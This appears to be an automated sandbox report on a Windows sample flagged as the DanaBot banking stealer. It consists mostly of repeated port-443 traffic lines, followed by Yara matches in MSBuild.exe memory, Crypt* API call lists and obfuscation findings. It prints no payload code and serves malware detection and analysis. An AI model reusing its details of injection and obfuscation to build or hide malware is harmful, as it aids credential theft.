Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49693 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49696
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49694
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49693
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49692
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49691
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49690
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49683
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49683 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443

Source: unknown

HTTPS traffic detected: 13.107.253.72:443 -> 192.168.2.12:49726 version: TLS 1.2

E-Banking Fraud

Yara detected DanaBot stealer dll

Source: Yara match	File source: 27.2.MSBuild.exe.3340000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000010.00000002.3691503846.000000000377A000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.1496632747.0000000003359000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1324248923.0000000005841000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.1489744161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1315408547.0000000003E60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: zsd5jgZ9LU.exe PID: 7064, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6436, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 1580, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_038103F0 CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptDeriveKey,CryptDecrypt,CryptAcquireContextA,CryptImportKey,CryptCreateHash,CryptHashData,CryptVerifySignatureW,CryptDecrypt,CryptDestroyHash,CryptReleaseContext,CryptDestroyKey,CryptDestroyHash,CryptReleaseContext,	27_2_038103F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_0381003C CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptDeriveKey,CryptEncrypt,CryptEncrypt,CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptImportKey,CryptSignHashA,CryptSignHashA,CryptDestroyKey,CryptDestroyHash,CryptReleaseContext,CryptDestroyKey,CryptDestroyHash,CryptReleaseContext,	27_2_0381003C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_03810BE4 CryptAcquireContextA,CryptImportKey,CryptAcquireContextA,CryptGenKey,CryptExportKey,CryptExportKey,CryptEncrypt,CryptEncrypt,CryptEncrypt,CryptEncrypt,CryptDestroyKey,CryptReleaseContext,CryptDestroyKey,CryptReleaseContext,	27_2_03810BE4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_03810800 CryptAcquireContextA,CryptImportKey,CryptAcquireContextA,CryptDecrypt,CryptImportKey,CryptDecrypt,CryptDestroyKey,CryptReleaseContext,	27_2_03810800

System Summary

Malicious sample detected (through community Yara rule)

Source: 27.2.MSBuild.exe.3340000.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 27.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 27.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 0000001B.00000002.1489744161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen

.NET source code contains very large array initializations

Source: 0.2.zsd5jgZ9LU.exe.4df0000.8.raw.unpack, ManagesModules.cs	Large array initialization: DataBytes: array initializer size 138752
Source: 0.2.zsd5jgZ9LU.exe.3de3550.6.raw.unpack, ManagesModules.cs	Large array initialization: DataBytes: array initializer size 138752
Source: tkirzpgp.dll.1.dr, ManagesModules.cs	Large array initialization: DataBytes: array initializer size 138752
Source: qul4nop0.dll.19.dr, ManagesModules.cs	Large array initialization: DataBytes: array initializer size 138752

.NET source code contains very large strings

Source: zsd5jgZ9LU.exe, xVHRoSCZQErwnJ.cs	Long String: Length: 1510316
Source: 0.2.zsd5jgZ9LU.exe.3e06170.4.raw.unpack, n5Dh00mp5s.cs	Long String: Length: 54720
Source: 0.2.zsd5jgZ9LU.exe.4df0250.7.raw.unpack, n5Dh00mp5s.cs	Long String: Length: 54720
Source: 0.2.zsd5jgZ9LU.exe.3de37a0.5.raw.unpack, n5Dh00mp5s.cs	Long String: Length: 54720
Source: 0.2.zsd5jgZ9LU.exe.4e30000.9.raw.unpack, n5Dh00mp5s.cs	Long String: Length: 54720
Source: 1.3.csc.exe.55c26e0.2.raw.unpack, n5Dh00mp5s.cs	Long String: Length: 54720
Source: 1.3.csc.exe.55c26e0.4.raw.unpack, n5Dh00mp5s.cs	Long String: Length: 54720
Source: 1.3.csc.exe.55c26e0.3.raw.unpack, n5Dh00mp5s.cs	Long String: Length: 54720
Source: 1.3.csc.exe.55c26e0.0.raw.unpack, n5Dh00mp5s.cs	Long String: Length: 54720
Source: 1.3.csc.exe.55c26e0.1.raw.unpack, n5Dh00mp5s.cs	Long String: Length: 54720

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 27_2_03816D20 LoadLibraryA,GetProcAddress,NtQueryVirtualMemory,NtQueryVirtualMemory,

27_2_03816D20

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_02D607AF	16_2_02D607AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_035DB1EC	16_2_035DB1EC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_035BC0BC	16_2_035BC0BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_035AF0A4	16_2_035AF0A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_035AF7F4	16_2_035AF7F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_035FB6D8	16_2_035FB6D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_035CC6F8	16_2_035CC6F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_035E4B9C	16_2_035E4B9C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_035C8A14	16_2_035C8A14
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_035AF960	16_2_035AF960
